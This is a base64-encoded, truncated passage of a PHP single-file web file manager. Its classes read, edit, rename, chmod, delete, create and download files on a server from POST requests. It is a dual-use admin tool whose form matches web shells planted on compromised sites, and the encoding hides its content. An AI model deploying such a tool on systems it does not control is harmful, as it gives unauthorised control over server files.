XHJcbiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ0ZpbGUgb3IgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0LiddO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHtcclxuICAgICAgICAgICAgaWYgKHJtZGlyKCRwYXRoKSkge1xyXG4gICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdEaXJlY3RvcnkgZGVsZXRlZCBzdWNjZXNzZnVsbHkuJ107XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnRmFpbGVkIHRvIGRlbGV0ZSBkaXJlY3RvcnkuIEl0IG1heSBub3QgYmUgZW1wdHkuJ107XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgaWYgKHVubGluaygkcGF0aCkpIHtcclxuICAgICAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdtZXNzYWdlJyA9PiAnRmlsZSBkZWxldGVkIHN1Y2Nlc3NmdWxseS4nXTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdGYWlsZWQgdG8gZGVsZXRlIGZpbGUuJ107XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIFJlbmFtZSBhIGZpbGUgb3IgZGlyZWN0b3J5XHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuYW1lKHN0cmluZyAkZW5jcnlwdGVkT2xkUGF0aCwgc3RyaW5nICRuZXdOYW1lKTogYXJyYXkge1xyXG4gICAgICAgICRvbGRQYXRoID0gJHRoaXMtPnNlY3VyaXR5TWFuYWdlci0+ZGVjcnlwdFBhdGgoJGVuY3J5cHRlZE9sZFBhdGgpO1xyXG5cclxuICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRvbGRQYXRoKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdGaWxlIG9yIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdC4nXTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgICRuZXdQYXRoID0gZGlybmFtZSgkb2xkUGF0aCkgLiAnXC8nIC4gJG5ld05hbWU7XHJcblxyXG4gICAgICAgIGlmIChyZW5hbWUoJG9sZFBhdGgsICRuZXdQYXRoKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnbWVzc2FnZScgPT4gJ1JlbmFtZWQgc3VjY2Vzc2Z1bGx5LiddO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnRmFpbGVkIHRvIHJlbmFtZS4nXTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBDaGFuZ2UgZmlsZSBwZXJtaXNzaW9uc1xyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGNoYW5nZVBlcm1pc3Npb25zKHN0cmluZyAkZW5jcnlwdGVkUGF0aCwgc3RyaW5nICRwZXJtaXNzaW9ucyk6IGFycmF5IHtcclxuICAgICAgICAkcGF0aCA9ICR0aGlzLT5zZWN1cml0eU1hbmFnZXItPmRlY3J5cHRQYXRoKCRlbmNyeXB0ZWRQYXRoKTtcclxuXHJcbiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHtcclxuICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnRmlsZSBvciBkaXJlY3RvcnkgZG9lcyBub3QgZXhpc3QuJ107XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICAkbW9kZSA9IG9jdGRlYygkcGVybWlzc2lvbnMpO1xyXG5cclxuICAgICAgICBpZiAoY2htb2QoJHBhdGgsICRtb2RlKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnbWVzc2FnZScgPT4gJ1Blcm1pc3Npb25zIGNoYW5nZWQgc3VjY2Vzc2Z1bGx5LiddO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnRmFpbGVkIHRvIGNoYW5nZSBwZXJtaXNzaW9ucy4nXTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBHZXQgZmlsZSBjb250ZW50IGZvciBlZGl0aW5nXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0RmlsZUNvbnRlbnQoc3RyaW5nICRlbmNyeXB0ZWRQYXRoKTogc3RyaW5nIHtcclxuICAgICAgICAkcGF0aCA9ICR0aGlzLT5zZWN1cml0eU1hbmFnZXItPmRlY3J5cHRQYXRoKCRlbmNyeXB0ZWRQYXRoKTtcclxuXHJcbiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSAmJiAhaXNfZGlyKCRwYXRoKSAmJiBGaWxlVXRpbHM6OmlzRWRpdGFibGVGaWxlKGJhc2VuYW1lKCRwYXRoKSkpIHtcclxuICAgICAgICAgICAgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIHJldHVybiBcIkVycm9yOiBDYW5ub3QgcmVhZCBmaWxlLlwiO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIFNhdmUgZmlsZSBjb250ZW50XHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gc2F2ZUZpbGVDb250ZW50KHN0cmluZyAkZW5jcnlwdGVkUGF0aCwgc3RyaW5nICRjb250ZW50KTogYXJyYXkge1xyXG4gICAgICAgICRwYXRoID0gJHRoaXMtPnNlY3VyaXR5TWFuYWdlci0+ZGVjcnlwdFBhdGgoJGVuY3J5cHRlZFBhdGgpO1xyXG5cclxuICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSB8fCBpc19kaXIoJHBhdGgpKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ0ZpbGUgZG9lcyBub3QgZXhpc3QuJ107XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KSAhPT0gZmFsc2UpIHtcclxuICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdGaWxlIHNhdmVkIHN1Y2Nlc3NmdWxseS4nXTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ0ZhaWxlZCB0byBzYXZlIGZpbGUuJ107XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogQ3JlYXRlIGEgbmV3IGZpbGVcclxuICAgICAqXC9cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVGaWxlKHN0cmluZyAkZmlsZU5hbWUpOiBhcnJheSB7XHJcbiAgICAgICAgJGZpbGVQYXRoID0gJHRoaXMtPmRpcmVjdG9yeU1hbmFnZXItPmdldEN1cnJlbnRQYXRoKCkgLiAnXC8nIC4gJGZpbGVOYW1lO1xyXG5cclxuICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGVQYXRoKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdGaWxlIGFscmVhZHkgZXhpc3RzLiddO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlUGF0aCwgJycpICE9PSBmYWxzZSkge1xyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnbWVzc2FnZScgPT4gJ0ZpbGUgY3JlYXRlZCBzdWNjZXNzZnVsbHkuJ107XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdGYWlsZWQgdG8gY3JlYXRlIGZpbGUuJ107XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogQ3JlYXRlIGEgbmV3IGZvbGRlclxyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUZvbGRlcihzdHJpbmcgJGZvbGRlck5hbWUpOiBhcnJheSB7XHJcbiAgICAgICAgJGZvbGRlclBhdGggPSAkdGhpcy0+ZGlyZWN0b3J5TWFuYWdlci0+Z2V0Q3VycmVudFBhdGgoKSAuICdcLycgLiAkZm9sZGVyTmFtZTtcclxuXHJcbiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmb2xkZXJQYXRoKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdGb2xkZXIgYWxyZWFkeSBleGlzdHMuJ107XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBpZiAobWtkaXIoJGZvbGRlclBhdGgsIDA3NTUpKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdtZXNzYWdlJyA9PiAnRm9sZGVyIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5LiddO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnRmFpbGVkIHRvIGNyZWF0ZSBmb2xkZXIuJ107XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogRG93bmxvYWQgYSBmaWxlXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gZG93bmxvYWRGaWxlKHN0cmluZyAkZW5jcnlwdGVkUGF0aCk6IHZvaWQge1xyXG4gICAgICAgICRwYXRoID0gJHRoaXMtPnNlY3VyaXR5TWFuYWdlci0+ZGVjcnlwdFBhdGgoJGVuY3J5cHRlZFBhdGgpO1xyXG5cclxuICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpICYmICFpc19kaXIoJHBhdGgpKSB7XHJcbiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbScpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJyAuIGJhc2VuYW1lKCRwYXRoKSAuICdcIicpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcclxuICAgICAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTtcclxuICAgICAgICAgICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpO1xyXG4gICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJHBhdGgpKTtcclxuICAgICAgICAgICAgb2JfY2xlYW4oKTtcclxuICAgICAgICAgICAgZmx1c2goKTtcclxuICAgICAgICAgICAgcmVhZGZpbGUoJHBhdGgpO1xyXG4gICAgICAgICAgICBleGl0O1xyXG4gICAgICAgIH1cclxuICAgIH1cclxufVxyXG5cclxuXC8qKlxyXG4gKiBSZXF1ZXN0IGhhbmRsZXIgZm9yIHByb2Nlc3NpbmcgSFRUUCByZXF1ZXN0c1xyXG4gKlwvXHJcbmNsYXNzIFJlcXVlc3RIYW5kbGVyIHtcclxuXHJcbiAgICBwcml2YXRlICRzZWN1cml0eU1hbmFnZXI7XHJcbiAgICBwcml2YXRlICRkaXJlY3RvcnlNYW5hZ2VyO1xyXG4gICAgcHJpdmF0ZSAkZmlsZU9wZXJhdGlvbnM7XHJcbiAgICBwcml2YXRlICRtZXNzYWdlcztcclxuXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7XHJcbiAgICAgICAgJHRoaXMtPnNlY3VyaXR5TWFuYWdlciA9IG5ldyBTZWN1cml0eU1hbmFnZXIoKTtcclxuICAgICAgICAkdGhpcy0+ZGlyZWN0b3J5TWFuYWdlciA9IG5ldyBEaXJlY3RvcnlNYW5hZ2VyKCR0aGlzLT5zZWN1cml0eU1hbmFnZXIpO1xyXG4gICAgICAgICR0aGlzLT5maWxlT3BlcmF0aW9ucyA9IG5ldyBGaWxlT3BlcmF0aW9ucygkdGhpcy0+c2VjdXJpdHlNYW5hZ2VyLCAkdGhpcy0+ZGlyZWN0b3J5TWFuYWdlcik7XHJcbiAgICAgICAgJHRoaXMtPm1lc3NhZ2VzID0gWydzdWNjZXNzJyA9PiAnJywgJ2Vycm9yJyA9PiAnJ107XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogUHJvY2VzcyBpbmNvbWluZyByZXF1ZXN0c1xyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZVJlcXVlc3QoKTogdm9pZCB7XHJcbiAgICAgICAgJHRoaXMtPnNlY3VyaXR5TWFuYWdlci0+Y2hlY2tTZXNzaW9uVGltZW91dCgpO1xyXG5cclxuICAgICAgICBpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykge1xyXG4gICAgICAgICAgICAkdGhpcy0+aGFuZGxlUG9zdFJlcXVlc3QoKTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogSGFuZGxlIFBPU1QgcmVxdWVzdHNcclxuICAgICAqXC9cclxuICAgIHByaXZhdGUgZnVuY3Rpb24gaGFuZGxlUG9zdFJlcXVlc3QoKTogdm9pZCB7XHJcbiAgICAgICAgXC9cLyBVcGRhdGUgY3VycmVudCBwYXRoIGlmIHByb3ZpZGVkXHJcbiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnY3VycmVudF9wYXRoJ10pKSB7XHJcbiAgICAgICAgICAgICR0aGlzLT5kaXJlY3RvcnlNYW5hZ2VyLT5uYXZpZ2F0ZVRvKCRfUE9TVFsnY3VycmVudF9wYXRoJ10pO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgXC9cLyBIYW5kbGUgc3BlY2lmaWMgYWN0aW9uc1xyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSkge1xyXG4gICAgICAgICAgICAkdGhpcy0+aGFuZGxlQWN0aW9uKCRfUE9TVFsnYWN0aW9uJ10pO1xyXG4gICAgICAgICAgICByZXR1cm47XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBcL1wvIEhhbmRsZSBmb3JtIHN1Ym1pc3Npb25zXHJcbiAgICAgICAgJHRoaXMtPmhhbmRsZUZvcm1TdWJtaXNzaW9ucygpO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEhhbmRsZSBBSkFYIGFjdGlvbnNcclxuICAgICAqXC9cclxuICAgIHByaXZhdGUgZnVuY3Rpb24gaGFuZGxlQWN0aW9uKHN0cmluZyAkYWN0aW9uKTogdm9pZCB7XHJcbiAgICAgICAgc3dpdGNoICgkYWN0aW9uKSB7XHJcbiAgICAgICAgICAgIGNhc2UgJ2dldENvbnRlbnQnOlxyXG4gICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncGF0aCddKSkge1xyXG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJHRoaXMtPmZpbGVPcGVyYXRpb25zLT5nZXRGaWxlQ29udGVudCgkX1BPU1RbJ3BhdGgnXSk7XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICBleGl0O1xyXG5cclxuICAgICAgICAgICAgY2FzZSAnbmF2aWdhdGUnOlxyXG4gICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncGF0aCddKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICR0aGlzLT5kaXJlY3RvcnlNYW5hZ2VyLT5uYXZpZ2F0ZVRvKCRfUE9TVFsncGF0aCddKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIGJyZWFrO1xyXG5cclxuICAgICAgICAgICAgY2FzZSAnZG93bmxvYWQnOlxyXG4gICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncGF0aCddKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICR0aGlzLT5maWxlT3BlcmF0aW9ucy0+ZG93bmxvYWRGaWxlKCRfUE9TVFsncGF0aCddKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIGJyZWFrO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBIYW5kbGUgZm9ybSBzdWJtaXNzaW9uc1xyXG4gICAgICpcL1xyXG4gICAgcHJpdmF0ZSBmdW5jdGlvbiBoYW5kbGVGb3JtU3VibWlzc2lvbnMoKTogdm9pZCB7XHJcbiAgICAgICAgXC9cLyBGaWxlIHVwbG9hZFxyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3VwbG9hZCddKSAmJiBpc3NldCgkX0ZJTEVTWydmaWxlJ10pKSB7XHJcbiAgICAgICAgICAgICRyZXN1bHQgPSAkdGhpcy0+ZmlsZU9wZXJhdGlvbnMtPnVwbG9hZEZpbGUoJF9GSUxFU1snZmlsZSddKTtcclxuICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2UoJHJlc3VsdCk7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBcL1wvIEZpbGVcL2RpcmVjdG9yeSBkZWxldGlvblxyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2RlbGV0ZSddKSAmJiBpc3NldCgkX1BPU1RbJ3BhdGgnXSkpIHtcclxuICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5maWxlT3BlcmF0aW9ucy0+ZGVsZXRlKCRfUE9TVFsncGF0aCddKTtcclxuICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2UoJHJlc3VsdCk7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBcL1wvIFJlbmFtZVxyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSAmJiBpc3NldCgkX1BPU1RbJ29sZFBhdGgnXSkgJiYgaXNzZXQoJF9QT1NUWyduZXdOYW1lJ10pKSB7XHJcbiAgICAgICAgICAgICRyZXN1bHQgPSAkdGhpcy0+ZmlsZU9wZXJhdGlvbnMtPnJlbmFtZSgkX1BPU1RbJ29sZFBhdGgnXSwgJF9QT1NUWyduZXdOYW1lJ10pO1xyXG4gICAgICAgICAgICAkdGhpcy0+c2V0TWVzc2FnZSgkcmVzdWx0KTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIFwvXC8gQ2hhbmdlIHBlcm1pc3Npb25zXHJcbiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnY2hhbmdlUGVybWlzc2lvbnMnXSkgJiYgaXNzZXQoJF9QT1NUWydwZXJtUGF0aCddKSAmJiBpc3NldCgkX1BPU1RbJ3Blcm1pc3Npb25zJ10pKSB7XHJcbiAgICAgICAgICAgICRyZXN1bHQgPSAkdGhpcy0+ZmlsZU9wZXJhdGlvbnMtPmNoYW5nZVBlcm1pc3Npb25zKCRfUE9TVFsncGVybVBhdGgnXSwgJF9QT1NUWydwZXJtaXNzaW9ucyddKTtcclxuICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2UoJHJlc3VsdCk7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBcL1wvIFNhdmUgZmlsZVxyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVGaWxlJ10pICYmIGlzc2V0KCRfUE9TVFsnZmlsZVBhdGgnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlQ29udGVudCddKSkge1xyXG4gICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPmZpbGVPcGVyYXRpb25zLT5zYXZlRmlsZUNvbnRlbnQoJF9QT1NUWydmaWxlUGF0aCddLCAkX1BPU1RbJ2ZpbGVDb250ZW50J10pO1xyXG4gICAgICAgICAgICAkdGhpcy0+c2V0TWVzc2FnZSgkcmVzdWx0KTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIFwvXC8gQ3JlYXRlIGZpbGVcclxuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydjcmVhdGVGaWxlJ10pICYmIGlzc2V0KCRfUE9TVFsnbmV3RmlsZU5hbWUnXSkpIHtcclxuICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5maWxlT3BlcmF0aW9ucy0+Y3JlYXRlRmlsZSgkX1BPU1RbJ25ld0ZpbGVOYW1lJ10pO1xyXG4gICAgICAgICAgICAkdGhpcy0+c2V0TWVzc2FnZSgkcmVzdWx0KTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIFwvXC8gQ3JlYXRlIGZvbGRlclxyXG4gICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NyZWF0ZUZvbGRlciddKSAmJiBpc3NldCgkX1BPU1RbJ25ld0ZvbGRlck5hbWUnXSkpIHtcclxuICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5maWxlT3BlcmF0aW9ucy0+Y3JlYXRlRm9sZGVyKCRfUE9TVFsnbmV3Rm9sZGVyTmFtZSddKTtcclxuICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2UoJHJlc3VsdCk7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIFNldCBzdWNjZXNzIG9yIGVycm9yIG1lc3NhZ2VcclxuICAgICAqXC9cclxuICAgIHByaXZhdGUgZnVuY3Rpb24gc2V0TWVzc2FnZShhcnJheSAkcmVzdWx0KTogdm9pZCB7XHJcbiAgICAgICAgaWYgKCRyZXN1bHRbJ3N1Y2Nlc3MnXSkge1xyXG4gICAgICAgICAgICAkdGhpcy0+bWVzc2FnZXNbJ3N1Y2Nlc3MnXSA9ICRyZXN1bHRbJ21lc3NhZ2UnXTtcclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAkdGhpcy0+bWVzc2FnZXNbJ2Vycm9yJ10gPSAkcmVzdWx0WydtZXNzYWdlJ107XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCBtZXNzYWdlc1xyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGdldE1lc3NhZ2VzKCk6IGFycmF5IHtcclxuICAgICAgICByZXR1cm4gJHRoaXMtPm1lc3NhZ2VzO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCBzZWN1cml0eSBtYW5hZ2VyXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U2VjdXJpdHlNYW5hZ2VyKCk6IFNlY3VyaXR5TWFuYWdlciB7XHJcbiAgICAgICAgcmV0dXJuICR0aGlzLT5zZWN1cml0eU1hbmFnZXI7XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogR2V0IGRpcmVjdG9yeSBtYW5hZ2VyXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0RGlyZWN0b3J5TWFuYWdlcigpOiBEaXJlY3RvcnlNYW5hZ2VyIHtcclxuICAgICAgICByZXR1cm4gJHRoaXMtPmRpcmVjdG9yeU1hbmFnZXI7XHJcbiAgICB9XHJcbn1cclxuXHJcblwvKipcclxuICogVmlldyByZW5kZXJlciBmb3IgSFRNTCBvdXRwdXRcclxuICpcL1xyXG5jbGFzcyBWaWV3UmVuZGVyZXIge1xyXG5cclxuICAgIHByaXZhdGUgJHJlcXVlc3RIYW5kbGVyO1xyXG5cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChSZXF1ZXN0SGFuZGxlciAkcmVxdWVzdEhhbmRsZXIpIHtcclxuICAgICAgICAkdGhpcy0+cmVxdWVzdEhhbmRsZXIgPSAkcmVxdWVzdEhhbmRsZXI7XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogUmVuZGVyIHRoZSBjb21wbGV0ZSBIVE1MIHBhZ2VcclxuICAgICAqXC9cclxuICAgIHB1YmxpYyBmdW5jdGlvbiByZW5kZXIoKTogdm9pZCB7XHJcbiAgICAgICAgJHNlY3VyaXR5TWFuYWdlciA9ICR0aGlzLT5yZXF1ZXN0SGFuZGxlci0+Z2V0U2VjdXJpdHlNYW5hZ2VyKCk7XHJcbiAgICAgICAgJGRpcmVjdG9yeU1hbmFnZXIgPSAkdGhpcy0+cmVxdWVzdEhhbmRsZXItPmdldERpcmVjdG9yeU1hbmFnZXIoKTtcclxuICAgICAgICAkbWVzc2FnZXMgPSAkdGhpcy0+cmVxdWVzdEhhbmRsZXItPmdldE1lc3NhZ2VzKCk7XHJcblxyXG4gICAgICAgICRpdGVtcyA9ICRkaXJlY3RvcnlNYW5hZ2VyLT5nZXREaXJlY3RvcnlDb250ZW50cygpO1xyXG4gICAgICAgICRicmVhZGNydW1icyA9ICRkaXJlY3RvcnlNYW5hZ2VyLT5nZXRCcmVhZGNydW1icygpO1xyXG4gICAgICAgICRjdXJyZW50UGF0aCA9ICRkaXJlY3RvcnlNYW5hZ2VyLT5nZXRDdXJyZW50UGF0aCgpO1xyXG4gICAgICAgICRlbmNyeXB0ZWRDdXJyZW50UGF0aCA9ICRzZWN1cml0eU1hbmFnZXItPmVuY3J5cHRQYXRoKCRjdXJyZW50UGF0aCk7XHJcbiAgICAgICAgJGhvbWVEaXJlY3RvcnkgPSBkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7XHJcbiAgICAgICAgJGVuY3J5cHRlZEhvbWVEaXJlY3RvcnkgPSAkc2VjdXJpdHlNYW5hZ2VyLT5lbmNyeXB0UGF0aCgkaG9tZURpcmVjdG9yeSk7XHJcbiAgICAgICAgJGVuY3J5cHRpb25LZXlXYXJuaW5nID0gJHNlY3VyaXR5TWFuYWdlci0+aGFzRGVmYXVsdEVuY3J5cHRpb25LZXkoKSA/XHJcbiAgICAgICAgICAgICAgICAnV2FybmluZzogRGVmYXVsdCBlbmNyeXB0aW9uIGtleSBpcyBiZWluZyB1c2VkLiBQbGVhc2UgY2hhbmdlIGl0IGZvciBzZWN1cml0eS4nIDogJyc7XHJcblxyXG4gICAgICAgIGluY2x1ZGUgJHRoaXMtPmdldFRlbXBsYXRlUGF0aCgpO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCB0ZW1wbGF0ZSBmaWxlIHBhdGggKGlubGluZSBmb3Igc2luZ2xlLWZpbGUgc29sdXRpb24pXHJcbiAgICAgKlwvXHJcbiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldFRlbXBsYXRlUGF0aCgpOiBzdHJpbmcge1xyXG4gICAgICAgIHJldHVybiBfX0ZJTEVfXztcclxuICAgIH1cclxufVxyXG5cclxuXC9cLyBJbml0aWFsaXplIGFuZCBydW4gdGhlIGFwcGxpY2F0aW9uXHJcbiRyZXF1ZXN0SGFuZGxlciA9IG5ldyBSZXF1ZXN0SGFuZGxlcigpO1xyXG4kcmVxdWVzdEhhbmRsZXItPmhhbmRsZVJlcXVlc3QoKTtcclxuXHJcbiR2aWV3UmVuZGVyZXIgPSBuZXcgVmlld1JlbmRlcmVyKCRyZXF1ZXN0SGFuZGxlcik7XHJcblxyXG5cL1wvIEV4dHJhY3QgdmFyaWFibGVzIGZvciB0ZW1wbGF0ZVxyXG4kc2VjdXJpdHlNYW5hZ2VyID0gJHJlcXVlc3RIYW5kbGVyLT5nZXRTZWN1cml0eU1hbmFnZXIoKTtcclxuJGRpcmVjdG9yeU1hbmFnZXIgPSAkcmVxdWVzdEhhbmRsZXItPmdldERpcmVjdG9yeU1hbmFnZXIoKTtcclxuJG1lc3NhZ2VzID0gJHJlcXVlc3RIYW5kbGVyLT5nZXRNZXNzYWdlcygpO1xyXG5cclxuJGl